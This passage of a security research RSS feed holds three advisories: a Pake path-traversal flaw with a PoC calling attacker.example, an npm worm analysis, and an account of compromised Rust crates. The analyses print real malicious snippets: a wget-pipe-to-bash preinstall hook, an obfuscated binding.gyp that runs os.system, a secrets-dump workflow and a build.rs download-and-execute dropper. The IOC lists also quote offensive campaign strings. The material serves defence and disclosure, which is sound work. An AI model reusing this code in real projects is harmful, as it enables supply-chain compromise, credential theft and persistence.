Pake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user's Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL over Rust HTTP, not the browser, and writes it to that path.

A script that can invoke the command can overwrite user-writable files and install persistence, such as a macOS LaunchAgent, a Linux autostart entry, or a Windows Startup-folder payload, leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command. Opening the wrapped app is the required user interaction; the default Pake IPC posture makes download_file reachable from the wrapped page.

## PoC

<br>

**Step 1 - Serve a payload over HTTP**

<br>

Host a small file the Pake process will fetch, for example a proof marker or a LaunchAgent plist, on an attacker-controlled HTTP URL.

<br>

**Step 2 - Invoke download_file with a traversing filename**

<br>

From JavaScript in a Pake-generated app built from a tree before 3.13.1, call the unsanitized command:

```javascript
window.__TAURI__.core.invoke('download_file', {
  params: {
    url: 'http://attacker.example/pake_write_proof.sh',
    filename: '../pake_write_proof.sh'
  }
})
```

<br>

A second invoke with filename `../Library/LaunchAgents/com.pake.poc.plist` and a plist body that runs the first file demonstrates persistence.

<br>

**Step 3 - Confirm the write left Downloads**

<br>

Expected result: the fetched files appear under the user home directory (for example ~/pake_write_proof.sh and ~/Library/LaunchAgents/com.pake.poc.plist), not under ~/Downloads. Loading the LaunchAgent, or the next login, runs the fetched payload in the user session.

## Vulnerability Mitigations

Upgrade Pake to 3.13.1 or later and rebuild generated apps from that tree. The fix introduces sanitize_download_filename and uses only the final path segment before joining onto the Downloads directory, so ../ sequences and absolute paths cannot escape that directory (https://github.com/tw93/Pake/commit/a5463a84d6e36705ee0dd1886cf0e4b5a75b0ab4, first tagged in V3.13.1).

## References
https://www.cve.org/CVERecord?id=CVE-2026-82635
https://github.com/tw93/Pake/commit/a5463a84d6e36705ee0dd1886cf0e4b5a75b0ab4
https://github.com/tw93/Pake/releases/tag/V3.13.1
https://github.com/tw93/Pake
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Shai-Hulud Trinitite Hits @7nohe/openapi-react-query-codegen]]></title>
            <link>https://research.jfrog.com/post/shai-hulud-trinitite/</link>
            <guid>https://research.jfrog.com/post/shai-hulud-trinitite/</guid>
            <pubDate>Sun, 30 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[JFrog Security Research analyzed a new Mini Shai-Hulud wave on @7nohe/openapi-react-query-codegen. Ten npm versions drop a Trinitite-labeled worm through preinstall and an obfuscated binding.gyp command.]]></description>
            <content:encoded><![CDATA[
JFrog Security Research detected a new Mini Shai-Hulud wave that landed on August 28, 2026. The target is `@7nohe/openapi-react-query-codegen`, a TanStack Query codegen package. Ten versions went out in about twenty minutes.

![](/img/RealTimePostImage/post/Trinitite/Trinitite.png)

This is the same worm family we covered in [Shai-Hulud: Here We Go Again](https://research.jfrog.com/post/shai-hulud-here-we-go-again/), the [May 19 @antv wave](https://research.jfrog.com/post/shai-hulud-here-we-go-again-may19/), and [Miasma](https://research.jfrog.com/post/shai-hulud-miasma-redhat-cloud-services/). What changed is the packaging, the campaign strings, and how quietly `binding.gyp` now hides the install-time command.

A note on timing: The people behind TeamPCP were arrested in Australia in late August. This package showed up on npm about a day later. Same kit, new RSA keys, new graffiti. Could be leftover access. Could be someone else wearing the cat mask. The payload does not settle that.

The package sits in the 150K+ weekly download range. Anyone who installed a listed version with lifecycle scripts, or who let `node-gyp` evaluate the planted `binding.gyp`, should treat the host as compromised.

## How it got published

The project's release workflow treated any pull-request comment that said exactly `npm publish` as a release trigger. It then checked out that PR and published with GitHub Actions OIDC (`id-token: write`), with no check that the commenter was a maintainer.

GitHub user `p00paboot` opened the PRs and posted the trigger. The workflow minted a trusted-publishing token, so the malicious versions have real provenance. That only shows the job ran in that repo, not that the job was clean.

The first two versions they published were prereleases (`0.0.0-365d4eb…` and `0.0.0-ec7876d6…`). Version `0.0.0-365d4eb…` has a planted `preinstall` script, but not the XOR payload. The eight stable versions that followed are the ones that carry the worm.

## First they asked if it was that simple

That first prerelease has no `3FWCvzduYZg.js` and no `binding.gyp`. The only planted thing is `preinstall`:

```json
"preinstall": "wget -qO- https://raw.githubusercontent.com/oven-sh/bun/refs/heads/main/src/runtime/cli/install.sh|bash ; bash -c 'WORKFLOW_ID=release.yml REPO_ID_SUFFIX=7nohe/openapi-react-query-codegen TARGET_PACKAGES=@7nohe/openapi-react-query-codegen ~/.bun/bin/bun is_it_this_simple.js'"
```

It installs official Bun, then tries to run a file that is not in the tarball. So this version does not drop the worm. The env vars are the interesting part. They are the same knobs the later payload already reads. `WORKFLOW_ID` and `REPO_ID_SUFFIX` tell it to fire the OIDC republish path when it is sitting in this repo's `release.yml`. `TARGET_PACKAGES` is the infection list. They pointed all three at `@7nohe/openapi-react-query-codegen`. The filename is the question: `is_it_this_simple.js`.

Then they shipped the XOR blob.

## Two ways the later versions run

Wave 1 (`0.5.4`, `1.6.3`, `2.2.1`, `3.0.3`) used only `binding.gyp`. Wave 2 (`0.5.5`, `1.6.4`, `2.2.2`, `3.0.4`), twenty minutes later, added a normal hook as well:

```json
"scripts": {
  "preinstall": "node 3FWCvzduYZg.js"
}
```

`3FWCvzduYZg.js` is a 4–6 MB XOR-wrapped loader. `--ignore-scripts` skips the `preinstall` hook, but `node-gyp` can still evaluate `binding.gyp` and run the same file.

![](/img/RealTimePostImage/post/Trinitite/trinitite-payload.png)

## binding.gyp, now with an obfuscated command

Earlier Mini samples hid the launch in a shell expansion, something like `<!(node index.js > /dev/null 2>&1 && echo stub.c)`.

In this one, the real command sits in `conditions`, written as Unicode escapes:

```json
{
  "variables": { "var": "Frot" },
  "conditions": [
    ["[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == u'\\U00000063\\U00000061\\U00000074\\U00000063\\U00000068\\U0000005f\\U00000077\\U00000061\\U00000072\\U0000006e\\U00000069\\U0000006e\\U00000067\\U00000073'][0]()._module.__builtins__[u'\\U0000005f\\U0000005f\\U00000069\\U0000006d\\U00000070\\U0000006f\\U00000072\\U00000074\\U0000005f\\U0000005f'](u'\\U0000006f\\U00000073').system(u'\\U0000006E\\U0000006F\\U00000064\\U00000065\\U00000020\\U00000033\\U00000046\\U00000057\\U00000043\\U00000076\\U0000007A\\U00000064\\U00000075\\U00000059\\U0000005A\\U00000067\\U0000002E\\U0000006A\\U00000073') == 0x00", {}]
  ],
  "targets": [
    {
      "target_name": "<(var)",
      "type": "\x6e\x6f\x6e\x65",
      "sources": ["dog.c"]
    }
  ]
}
```

Decoded, that condition walks Python's class tree to `catch_warnings`, reaches `__builtins__`, and runs:

```text
os.system('node 3FWCvzduYZg.js')
```

`node-gyp` evaluates `conditions` as Python, so no `preinstall` required, and scanners that only look at `package.json` scripts miss it.

## The loader

Same Mini staging we described for Miasma, with the first transform swapped.

1. A ~1.6M-entry integer array, XOR'd with key `9` (older Mini used ROT).
2. Two AES-128-GCM blobs. The small one fetches Bun. The large one is the worm.
3. The worm is written to a random temp `.js`, run under Bun, then deleted.

If Bun is missing, the dropper pulls **v1.4.0** from the real `oven-sh/bun` GitHub release into a directory named `trinnyyyy-*`. On Windows the binary is renamed to six random characters. Previous waves used 1.3.13 and `/tmp/b-*`.

Inside the worm, strings go through a javascript-obfuscator and a second scramble (`faa0a686e`) built on PBKDF2-SHA256 (200k rounds) plus a 3-round substitution. Thirteen more blobs are AES-256-GCM + gzip: the token monitor, the commit-search C2, Claude/VS Code hooks, and the secret-dump workflow.

## Same worm, new stickers

Once it is running, this is Shai-Hulud. It steals GitHub / npm / PyPI / RubyGems / cloud / Vault / Kubernetes material, scrapes `Runner.Worker` memory for `"isSecret":true`, and republishes packages it can write. Stolen data is gzipped, AES-wrapped, RSA-wrapped, and committed to a public repo under the victim token.

The new description is:

```text
Trinitite: Sponsored by Preview 2 Effects
```

Files go under `results/`, but the name is `doubletrinnys-<n>-<timestamp>.json`. If there is no token in the commit, the message is `meow meow meow`. If there is, it is `IfYouRevokeThisTokenYourABadUser:<blob>`.

The planted Actions workflow is the usual secrets dump, renamed:

```yaml
name: ClaudeCode Review
on:
  deployment:
jobs:
  review:
    runs-on: ubuntu-latest
    env:
      PROMPT: ${{ toJSON(secrets) }}
    steps:
      - run: echo "$PROMPT" > res.txt
      - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a
        with:
          name: reviewed
          path: res.txt
```

Earlier waves called this `Run Copilot`.

PyPI is no longer only a separate `.pth` loader. The JS worm itself pushes stolen `pypi-` tokens at `upload.pypi.org/legacy/` and keeps the ones that look valid. `TYPO_MODE=1` plus `TARGET_PACKAGES` turns that into a typosquat path. RubyGems and JFrog/Artifactory checks are still in the same file.

The unused decoy host moved from `api.anthropic.com` to `poopy.com` / `v1/idk`. We did not see it used.

Before it does anything useful, it checks whether it is running in an analysis environment. If it sees a Russian locale, StepSecurity / `harden-runner` markers, fake prefixes like `AKIAFAKE`, or a short list of researcher GitHub orgs (`actions-security-demo`, `h0x0er`, `varunsh-coder`), it exits.

## Persistence and the revoke trap

Still there. Isolate first.

Linux/macOS install a user service (`systemd-detect-fash` or `sysvinit-detect-fash`) and a Python monitor at `~/.local/share/diaper/poopy.py`. State is `/var/tmp/.shit`. The token monitor polls `GET /user`. A 40x means the token is dead, and the stored handler can wipe `~/` and `~/Documents`. Same trap as May 19, different unit names.

AI-tool hooks are the usual set: Claude `SessionStart`, VS Code `folderOpen`, Cursor / Gemini / Copilot / Aider paths.

## Remediation

- Isolate the machine or runner. Do not revoke GitHub tokens until the monitor is gone.
- Stop and disable `systemd-detect-fash` and `sysvinit-detect-fash` (user systemd on Linux, LaunchAgent on macOS).
- Remove `~/.local/share/diaper/`, `~/.config/sysvinit-detect-fash/`, `/var/tmp/.shit`, and `trinnyyyy-*` temp dirs.
- Drop `3FWCvzduYZg.js` and `binding.gyp` from installs. Pin `0.5.3` / `1.6.2` / `2.2.0` / `3.0.2`. Rebuild lockfiles.
- Then rotate GitHub, npm, PyPI, RubyGems, cloud, SSH, and CI credentials from a clean box.
- Valid provenance on these versions is not a clean bill of health.

## Conclusions

Trinitite is another turn of Mini Shai-Hulud, not a new family. The collectors, GitHub dead-drop, npm republish path, PyPI token handling, and the revoke trap are the ones we have been cleaning up since spring. What changed is the packaging: a comment-triggered OIDC publish, a first prerelease that only installed Bun and pointed at this repo, then a Unicode `binding.gyp` command that runs even when `package.json` scripts are skipped.

The timing is hard to ignore. The TeamPCP suspects were arrested in Australia in late August, and this package showed up on npm about a day later. Same kit, new RSA keys, new graffiti. That could be leftover access, or someone else using the same loader. The payload does not settle it.

For defenders, the old campaign names (Here We Go Again, Miasma, Hades) will not catch this wave. Hunt the new strings, the `Frot` / `dog.c` `binding.gyp`, and the `3FWCvzduYZg.js` loader. Treat any host that installed a listed version as compromised, and do not revoke GitHub tokens until the monitor is gone.

These malicious versions are detected by JFrog Xray and JFrog Curation.

## IOCs

### Package

| Package | Xray ID | Versions |
| :---- | :---- | :---- |
| `@7nohe/openapi-react-query-codegen` | XRAY-1065308 | `0.5.4`, `0.5.5`, `1.6.3`, `1.6.4`, `2.2.1`, `2.2.2`, `3.0.3`, `3.0.4`, `0.0.0-365d4eb738d3146583431948d3ba6e27a32556be`, `0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab` |

Last safe: `0.5.3`, `1.6.2`, `2.2.0`, `3.0.2`.

### Files and host

```text
3FWCvzduYZg.js
is_it_this_simple.js
binding.gyp
/tmp/trinnyyyy-*/bun
~/.bun/bin/bun
/var/tmp/.shit
~/.local/share/diaper/poopy.py
~/.config/systemd/user/systemd-detect-fash.service
~/.config/systemd/user/sysvinit-detect-fash.service
~/.config/sysvinit-detect-fash/
~/Library/LaunchAgents/com.user.systemd-detect-fash.plist
~/Library/LaunchAgents/com.user.sysvinit-detect-fash.plist
```

### Campaign strings

```text
Trinitite: Sponsored by Preview 2 Effects
doubletrinnys-
meow meow meow
IfYouRevokeThisTokenYourABadUser
Visit69WykenAveForFreeiPod
n1ggatr1n
StopRapingMyBotnetPlz
ClaudeCode Review
poopy.com
v1/idk
```

### Network

```text
hxxps[:]//raw[.]githubusercontent[.]com/oven-sh/bun/refs/heads/main/src/runtime/cli/install.sh
hxxps[:]//github[.]com/oven-sh/bun/releases/download/bun-v1.4.0/
hxxps[:]//api[.]github[.]com/user/repos
hxxps[:]//api[.]github[.]com/search/commits
hxxps[:]//upload[.]pypi[.]org/legacy/
hxxps[:]//registry[.]npmjs[.]org/-/npm/v1/oidc/token/exchange/package/
hxxps[:]//fulcio[.]sigstore[.]dev/api/v2/signingCert
hxxps[:]//rekor[.]sigstore[.]dev/api/v1/log/entries
```
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Compromised Rust crates on crates.io silently execute malware at build time]]></title>
            <link>https://research.jfrog.com/post/arrayref-proc-macro1-crates-io/</link>
            <guid>https://research.jfrog.com/post/arrayref-proc-macro1-crates-io/</guid>
            <pubDate>Thu, 20 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[On August 20th, the popular Rust crates arrayref, internment, and append-only-vec were compromised on crates.io. The malicious versions silently pulled in proc-macro1, a typosquat of proc-macro2, whose build.rs downloads and executes a remote payload on cargo build.]]></description>
            <content:encoded><![CDATA[
The JFrog security research team has identified a compromise in 3 widely used Rust crates on crates.io: `arrayref@0.3.10` (~245M downloads), `internment@0.8.7` (~14.4M downloads), and `append-only-vec@0.1.9` (~4.5M downloads). All three silently pulled in `proc-macro1`, a typosquat of the legitimate `proc-macro2` crate.

![](/img/RealTimePostImage/post/proc-macro1.png)

As of now, the malicious crate versions and `proc-macro1` itself have been removed from crates.io. The three parent crates share the same crates.io owner (`droundy`).

`arrayref` is a small, widely depended-on crate of macros for taking array references of slices. `internment` provides string/data interning, and `append-only-vec` is a concurrent append-only vector. In Rust, a `build.rs` script is compiled and executed automatically during `cargo build`, `cargo check`, and similar commands, including CI and rust-analyzer driven builds.

If you refreshed a lockfile during the exposure window (~7-8 AM UTC), assume the environment that ran Cargo is affected. Check `Cargo.lock` for the compromised package versions or any `proc-macro1` entry.

## Attack chain

The malware operates in multiple stages. The crates themselves only deliver the first two.

### Stage 1 - Compromised popular crates

The attacker published new versions of otherwise legitimate crates. Those versions added a dependency on `proc-macro1` rather than embedding the dropper in the parent crate source. Downstream users who ran `cargo update` (or otherwise resolved a new lockfile) pulled the typosquat transitively.

### Stage 2 - `proc-macro1` `build.rs` dropper

`proc-macro1` 1.0.107 impersonates `proc-macro2` 1.0.107. The library source is a renamed copy of the real crate. The author field is spoofed as `David Tolnay <rchaitm@gmail.com>`, and the repository is set to `https://github.com/dtolnay/proc-macro1`.

The only attacker-added runtime is in `build.rs`, plus three build-dependencies the real `proc-macro2` does not need: `ureq`, `rustls`, and `base64`. The script still emits the legitimate proc-macro2 cfg probes, with the download-and-execute block inserted in the middle.

C2 URLs are stored as split Base64 fragments and concatenated at runtime:

```rust
const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];
const END_URL_PARTS: &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"];
```

Decoded, those become:

- Download prefix: `hxxps[:]//23[.]254[.]165[.]112:9089/`
- Follow-on C2 argument: `23[.]254[.]165[.]112:443`

At this time of writing, the endpoint is not available.

TLS certificate verification is disabled (`AcceptAll` rustls verifier), so self-signed or mismatched certificates are accepted.

### Stage 3 - OS-specific remote payload

`build.rs` downloads a platform-specific blob and launches it detached:

| Host | URL suffix | Drop path | Launcher |
| :---- | :---- | :---- | :---- |
| Linux x86_64 | `rust-crate_0.1.0` | `/tmp/rust-setup` | `chmod +x` then spawn with the C2 argument |
| Windows x86_64 | `rust-crate_0.2.0` | `%TEMP%\rust-setup.ps1` | hidden `wscript` → PowerShell `-ExecutionPolicy Bypass` |
| macOS x86_64 | `rust-crate_0.3.0` | `/tmp/rust-setup` | `chmod +x` then spawn with the C2 argument |
| macOS aarch64 | `rust-crate_0.4.0` | `/tmp/rust-setup` | `chmod +x` then spawn with the C2 argument |

On Unix, the dropper writes `/tmp/rust-setup`, marks it executable, and spawns it with no stdin/stdout/stderr and without waiting:

```rust
Command::new(&path)
    .arg(end_url())
    .stdin(Stdio::null())
    .stdout(Stdio::null())
    .stderr(Stdio::null())
    .spawn()
```

On Windows, it writes `rust-setup.ps1` and a one-line VBS launcher (`rust-setup-launch.vbs`). The VBS path is deliberate: children of a Cargo build script otherwise stay in Cargo's job object and stall the build until they exit. `CREATE_NO_WINDOW` hides the console.

The dropped file is started with a single argument, `23[.]254[.]165[.]112:443`. That is the follow-on C2 for whatever the remote blob implements.

## The second-stage payload is currently unavailable

The second-stage URLs on `23[.]254[.]165[.]112:9089` did not respond, so we could not recover the remote payload. That does not mean the attack failed: `arrayref` has ~245 million lifetime downloads, and any `cargo build` against a refreshed lockfile during the window was enough to execute whatever the operator was serving.

## Remediation

For anyone who resolved `arrayref==0.3.10`, `internment==0.8.7`, `append-only-vec==0.1.9`, or any `proc-macro1` entry:

* **Validate** `Cargo.lock` (and vendored/`cargo vendor` trees) for those versions or a `proc-macro1` package  
* **Remove** the compromised versions and pin to the last known-clean releases: `arrayref` 0.3.9, `internment` 0.8.6, `append-only-vec` 0.1.8  
* **Regenerate** lockfiles from trusted crates.io metadata after the malicious versions were deleted  
* **Hunt** for `/tmp/rust-setup`, `%TEMP%\rust-setup.ps1`, and `%TEMP%\rust-setup-launch.vbs`  
* **Block** communication to `23[.]254[.]165[.]112` on ports `9089` and `443`  
* **Revoke and rotate** credentials from any developer machine or CI runner that ran Cargo against an affected lockfile. Assume secrets available to that environment are exposed.  
* **Scan for additional persistence**: the second-stage blob was not recovered; treat confirmed execution as a full host compromise.

## Conclusions

This incident is a crates.io account/publish compromise that used a `proc-macro2` typosquat as the actual malware carrier. The popular crates did not need to contain an obvious malicious source; they only needed to pull `proc-macro1`. Because Cargo runs `build.rs` at compile time, installing or building a dependent project is enough.

The fact that the payload URL is now inactive does not mean the attack failed. Due to the popularity of `arrayref`, even a short period of activity can expose users, leak secrets, and implant follow-on malware that is no longer in the crate.

JFrog Curation customers using an immaturity policy were fully protected from this attack, as all hijacked packages were flagged on the same day.

## Affected Packages

| Package | Version | Xray ID |
| :---- | :---- | :---- |
| `arrayref` | `0.3.10` | XRAY-1058267 |
| `internment` | `0.8.7` | XRAY-1058269 |
| `append-only-vec` | `0.1.9` | XRAY-1058268 |
| `proc-macro1` | `1.0.107` | XRAY-1058266 |
| `proc-macro-en` | `1.0.10` | XRAY-1058369 |

The Rust Security Response Team also deleted several related lookalike crates. Unlike `proc-macro1`, these do not download a remote payload: they are typosquats of legitimate crates, and at most run a trivial `build.rs` as a staging check that Cargo will execute attacker-controlled build scripts.

| Package | Versions | Notes | Xray ID |
| :---- | :---- | :---- | :---- |
| `aovine` | All | Typosquat of `append-only-vec`; `build.rs` writes `Hello from build.rs` to `/tmp/echo.txt` | XRAY-1058367 |
| `arone` | All | Typosquat of `arrayref`; `build.rs` only echoes a string | XRAY-1058368 |
| `aronenao` | All | Typosquat of `arrayref`; `build.rs` sets a dummy `cargo:rustc-env` | XRAY-1058371 |
| `tinymember` | All | Typosquat of `tiny-skia`; no `build.rs`, depends on `aronenao` | XRAY-1058370 |

## IOCs

* `hxxps[:]//23[.]254[.]165[.]112:9089/`  
* `hxxps[:]//23[.]254[.]165[.]112:9089/rust-crate_0.1.0`  
* `hxxps[:]//23[.]254[.]165[.]112:9089/rust-crate_0.2.0`  
* `hxxps[:]//23[.]254[.]165[.]112:9089/rust-crate_0.3.0`  
* `hxxps[:]//23[.]254[.]165[.]112:9089/rust-crate_0.4.0`  
* `23[.]254[.]165[.]112:443`  
* `/tmp/rust-setup`  
* `%TEMP%\rust-setup.ps1`  
* `%TEMP%\rust-setup-launch.vbs`  
]]></content:encoded>
        </item>
    </channel>
</rss>